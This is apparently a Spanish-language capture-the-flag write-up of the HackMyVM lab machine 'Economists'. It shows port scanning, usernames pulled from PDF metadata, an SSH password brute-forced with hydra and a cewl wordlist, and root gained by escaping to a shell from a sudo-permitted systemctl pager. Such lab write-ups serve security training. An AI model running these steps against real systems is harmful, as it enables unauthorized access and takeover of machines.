HackMyVM - Economists

logo

  • Brute Force SSH
  • Abusing Systemctl Binary - Privesc

Escaneo de puertos

❯ nmap -p- -T5 -n -v -Pn 192.168.1.13

PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

Escaneo de servicios

❯ nmap -sVC -v -p 21,22,80 192.168.1.13

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-rw-r--    1 1000     1000       173864 Sep 14 11:40 Brochure-1.pdf
| -rw-rw-r--    1 1000     1000       183931 Sep 14 11:37 Brochure-2.pdf
| -rw-rw-r--    1 1000     1000       465409 Sep 14 14:18 Financial-infographics-poster.pdf
| -rw-rw-r--    1 1000     1000       269546 Sep 14 14:19 Gameboard-poster.pdf
| -rw-rw-r--    1 1000     1000       126644 Sep 14 14:20 Growth-timeline.pdf
|_-rw-rw-r--    1 1000     1000      1170323 Sep 14 10:13 Population-poster.pdf
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:192.168.1.17
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 d9:fe:dc:77:b8:fc:e6:4c:cf:15:29:a7:e7:21:a2:62 (RSA)
|   256 be:66:01:fb:d5:85:68:c7:25:94:b9:00:f9:cd:41:01 (ECDSA)
|_  256 18:b4:74:4f:f2:3c:b3:13:1a:24:13:46:5c:fa:40:72 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Home - Elite Economists
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

FTP TCP - 21

Me conecto al servidor FTP con el usuario anonymous y me descargo todos los archivos PDF.

❯ ftp 192.168.1.13
Connected to 192.168.1.13.
220 (vsFTPd 3.0.3)
Name (192.168.1.13:noname): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
229 Entering Extended Passive Mode (|||48586|)
150 Here comes the directory listing.
drwxr-xr-x    2 0        119          4096 Sep 14 14:30 .
drwxr-xr-x    2 0        119          4096 Sep 14 14:30 ..
-rw-rw-r--    1 1000     1000       173864 Sep 14 11:40 Brochure-1.pdf
-rw-rw-r--    1 1000     1000       183931 Sep 14 11:37 Brochure-2.pdf
-rw-rw-r--    1 1000     1000       465409 Sep 14 14:18 Financial-infographics-poster.pdf
-rw-rw-r--    1 1000     1000       269546 Sep 14 14:19 Gameboard-poster.pdf
-rw-rw-r--    1 1000     1000       126644 Sep 14 14:20 Growth-timeline.pdf
-rw-rw-r--    1 1000     1000      1170323 Sep 14 10:13 Population-poster.pdf

HTTP TCP - 80

http

Analizo los documentos pdf con exiftool para ver los metadatos, con grep filtro por Author y con awk muestro la tercera columna que es donde salen los nombres.

❯ exiftool *.pdf | grep Author | awk '{print $3}'
joseph
richard
crystal
catherine
catherine

Creo el archivo users.txt.

❯ exiftool *.pdf | grep Author | awk '{print $3}' > users.txt

Ahora creo un diccionario de contraseñas con cewl con una longitud de 8 carácteres.

❯ cewl http://192.168.1.13 -m 8 -w passwords.txt
CeWL 6.1 (Max Length) Robin Wood (robin@digi.ninja) (https://digi.ninja/)

Realizo fuerza bruta con hydra y encuentro la contraseña del usuario joseph.

hydra -V -t 20 -L users.txt -P passwords.txt ssh://192.168.1.13 -f -I
[22][ssh] host: 192.168.1.13   login: joseph   password: w********t

Me conecto al sistema como usuario joseph y enumero permisos de sudo.

joseph@elite-economists:~$ sudo -l
Matching Defaults entries for joseph on elite-economists:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User joseph may run the following commands on elite-economists:
    (ALL) NOPASSWD: /usr/bin/systemctl status

Lanzo el binario systemctl.

joseph@elite-economists:~$ sudo /usr/bin/systemctl status

Veo el estado de varios servicios.

systemctl

Si voy abajo donde hay el contador de las líneas puedo ejecutar comandos pulsando “!”.

comando

Pulso enter y obtengo el root.

root@elite-economists:~# id
uid=0(root) gid=0(root) groups=0(root)

Y aquí termina la máquina Economists.

Saludos!